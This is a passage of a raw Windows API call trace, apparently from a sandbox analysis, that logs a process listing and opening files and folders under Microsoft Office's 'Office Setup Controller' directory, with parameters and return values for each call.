Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.676] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.676] NtClose (Handle=0x168) returned 0x0 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.676] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5c98 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e98f0 [0052.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x540) returned 0x9eac78 [0052.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e8770) returned 1 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5cb8 [0052.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e99f8 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.677] GetLastError () returned 0x12 [0052.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.677] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="")) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.677] GetLastError () returned 0x12 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.677] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0052.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0052.681] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.681] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.681] NtClose (Handle=0x164) returned 0x0 [0052.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.681] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.681] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5cd8 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e9b00 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5cf8 [0052.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e9c08 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.682] GetLastError () returned 0x12 [0052.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.682] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="")) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.682] GetLastError () returned 0x12 [0052.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.682] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0052.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0052.700] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.700] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.700] NtClose (Handle=0x168) returned 0x0 [0052.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.700] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.701] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.701] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0052.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5d18 [0052.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e9d10 [0052.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.701] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0052.701] GetLastError () returned 0x12 [0052.701] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.701] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.701] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.701] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0052.701] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, 